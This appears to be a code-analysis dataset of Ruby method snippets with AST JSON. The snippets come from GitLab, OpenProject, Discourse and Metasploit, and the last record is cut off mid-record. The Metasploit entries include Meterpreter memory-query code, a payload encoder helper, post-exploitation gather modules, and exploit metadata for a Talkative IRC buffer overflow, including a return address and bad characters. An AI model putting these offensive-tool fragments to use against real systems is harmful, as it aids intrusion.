{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/lfs_pointer_file.rb","start_line":13,"raw_source":"def pointer\n        @pointer ||= <<~FILE\n          #{VERSION_LINE}\n          oid sha256:#{sha256}\n          size #{size}\n        FILE\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pointer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pointer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VERSION_LINE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"oid sha256:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sha256\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"size \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"4be3a5da-b250-44cd-ab39-db696659de65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb","start_line":41,"raw_source":"def status_of_jobs(names)\n          jobs = all_jobs_by_name.slice(*names)\n\n          status_for_array(jobs.values, dag: true)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"status_of_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_jobs_by_name\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"status_for_array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"values\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dag\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"34600648-3de0-4c17-997f-6ed5390669a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bullet/exclusions.rb","start_line":14,"raw_source":"def validate_paths!\n        exclusions.each do |properties|\n          next unless properties['path_with_method']\n\n          file = properties['exclude'].first\n\n          raise \"Bullet: File used by #{config_file} doesn't exist, validate the #{file} exclusion!\" unless File.exist?(file)\n        end\n      end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_paths!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclusions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"properties\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path_with_method\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exclude\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bullet: File used by \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_file\"]}]},{\"type\":\"str\",\"children\":[\" doesn't exist, validate the \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" exclusion!\"]}]}]}]}]}]}]}","id":"d836375c-e122-48a0-bf9a-31653c714f79"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb","start_line":154,"raw_source":"def query(base)\n    request = Packet.create_request(COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_QUERY)\n\n    request.add_tlv(TLV_TYPE_HANDLE, process.handle)\n    request.add_tlv(TLV_TYPE_BASE_ADDRESS, base)\n\n    response = process.client.send_request(request)\n\n    # Build out the hash from the response information\n    info = {}\n\n    info['BaseAddress']       = response.get_tlv_value(TLV_TYPE_BASE_ADDRESS)\n    info['AllocationBase']    = response.get_tlv_value(TLV_TYPE_ALLOC_BASE_ADDRESS)\n    info['AllocationProtect'] = specific_prot_to_gen(response.get_tlv_value(TLV_TYPE_ALLOC_PROTECTION))\n    info['RegionSize']        = response.get_tlv_value(TLV_TYPE_LENGTH)\n\n    # Translate the memory state\n    state = response.get_tlv_value(TLV_TYPE_MEMORY_STATE)\n\n    if (state == MEM_FREE)\n      info['Available'] = true\n    elsif (state == MEM_COMMIT)\n      info['Available'] = false\n    elsif (state == MEM_RESERVE)\n      info['Reserved'] = true\n    end\n\n    # Translate the region protections\n    info['Protect'] = specific_prot_to_gen(response.get_tlv_value(TLV_TYPE_PROTECTION))\n\n    # Translate the memory type\n    type = response.get_tlv_value(TLV_TYPE_MEMORY_TYPE)\n\n    if (type == MEM_IMAGE)\n      info['ImageMapping'] = true\n    elsif (type == MEM_MAPPED)\n      info['MemoryMapping'] = true\n    elsif (type == MEM_PRIVATE)\n      info['PrivateMapping'] = true\n    end\n\n    return info\n  end","complexity_score":49.0,"ast_json":"{\"type\":\"def\",\"children\":[\"query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_QUERY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_HANDLE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\"]},\"handle\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_BASE_ADDRESS\"]},{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\"]},\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"BaseAddress\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_BASE_ADDRESS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"AllocationBase\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_ALLOC_BASE_ADDRESS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"AllocationProtect\"]},{\"type\":\"send\",\"children\":[null,\"specific_prot_to_gen\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_ALLOC_PROTECTION\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RegionSize\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_LENGTH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_MEMORY_STATE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MEM_FREE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Available\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MEM_COMMIT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Available\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MEM_RESERVE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Reserved\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Protect\"]},{\"type\":\"send\",\"children\":[null,\"specific_prot_to_gen\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_PROTECTION\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv_value\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_MEMORY_TYPE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MEM_IMAGE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ImageMapping\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MEM_MAPPED\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MemoryMapping\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MEM_PRIVATE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PrivateMapping\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}","id":"3e12e7e6-b226-4ad0-8cb6-d3d79f64d4de"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/register.rb","start_line":60,"raw_source":"def single_formats(model)\n        singles[model.to_s].map(&:key)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"single_formats\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"singles\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"to_s\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]}]}]}]}","id":"bd120257-9949-47ef-adb5-fdea88c7dc25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todos/destroy/destroyed_issuable_service.rb","start_line":36,"raw_source":"def invalidate_todos_cache_counts(user_ids)\n        user_ids.each do |id|\n          # Only build a user instance since we only need its ID for\n          # `User#invalidate_todos_cache_counts` to work.\n          User.new(id: id).invalidate_todos_cache_counts\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_todos_cache_counts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},\"invalidate_todos_cache_counts\"]}]}]}","id":"57e754a2-cf40-4873-987b-8d77fdd90006"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/create_direct_message_channel.rb","start_line":58,"raw_source":"def can_create_direct_message(guardian:, target_users:)\n      guardian.can_create_direct_message? &&\n        DiscoursePluginRegistry.apply_modifier(\n          :chat_can_create_direct_message_channel,\n          guardian.user,\n          target_users,\n        )\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_create_direct_message\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwarg\",\"children\":[\"target_users\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"can_create_direct_message?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"apply_modifier\",{\"type\":\"sym\",\"children\":[\"chat_can_create_direct_message_channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]},{\"type\":\"lvar\",\"children\":[\"target_users\"]}]}]}]}","id":"ae197af7-3baf-4025-8dc0-326f3e423d5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/mipsbe/byte_xori.rb","start_line":98,"raw_source":"def padded_key(state, size = 1)\n    key = Rex::Text.rand_text(size, state.badchars)\n    key << [state.key].pack('C')\n    return key.unpack('n')[0].to_s(16)\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"padded_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"optarg\",\"children\":[\"size\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text\",{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"key\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"n\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]}]}]}","id":"4b11bfa6-b1ec-45e7-9f17-2d639658f587"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_ad_groups.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Gather Active Directory Groups',\n        'Description' => %q{\n          This module will enumerate AD groups on the specified domain.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'\n        ],\n        'Platform' => [ 'win' ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),\n      OptString.new('FILTER', [false, 'Customised LDAP filter', nil])\n    ])\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather Active Directory Groups\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will enumerate AD groups on the specified domain.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADDITIONAL_FIELDS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Additional fields to retrieve, comma separated\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Customised LDAP filter\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"302f1eff-ecfa-49f8-a9e9-4ab6ae937e10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_containers.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Linux Container Enumeration',\n        'Description' => %q{\n          This module attempts to enumerate containers on the target machine and optionally run a command on each active container found.\n          Currently it supports Docker, LXC and RKT.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['stealthcopter'],\n        'Platform' => ['linux'],\n        'SessionTypes' => ['shell', 'meterpreter'],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('CMD', [false, 'Optional command to run on each running container', ''])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Container Enumeration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to enumerate containers on the target machine and optionally run a command on each active container found.\\n\"]},{\"type\":\"str\",\"children\":[\"          Currently it supports Docker, LXC and RKT.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stealthcopter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CMD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Optional command to run on each running container\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"5abfb195-4344-436e-8529-2ee612d2c772"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/talkative_response.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.\n          When a specially crafted response string is sent to a client,\n          an attacker may be able to execute arbitrary code.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2009-20007' ],\n          [ 'OSVDB', '64582'],\n          [ 'BID', '34141' ],\n          [ 'EDB', '8227' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'AllowWin32SEH' => true\n        },\n        'Payload' => {\n          'Space' => 750,\n          'BadChars' => \"\\x00\\x0a\\x20\\x0d\",\n          'StackAdjustment' => -3500,\n          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,\n          'DisableNops' => true\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP SP3 English',\t{ 'Ret' => 0x72d1146b } ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2009-03-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The IRC daemon port to listen on\", 6667 ])\n      ]\n    )\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Talkative IRC v0.4.4.16 Response Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.\\n\"]},{\"type\":\"str\",\"children\":[\"          When a specially crafted response string is sent to a client,\\n\"]},{\"type\":\"str\",\"children\":[\"          an attacker may be able to execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-20007\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"64582\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"34141\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"8227\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AllowWin32SEH\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[750]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n 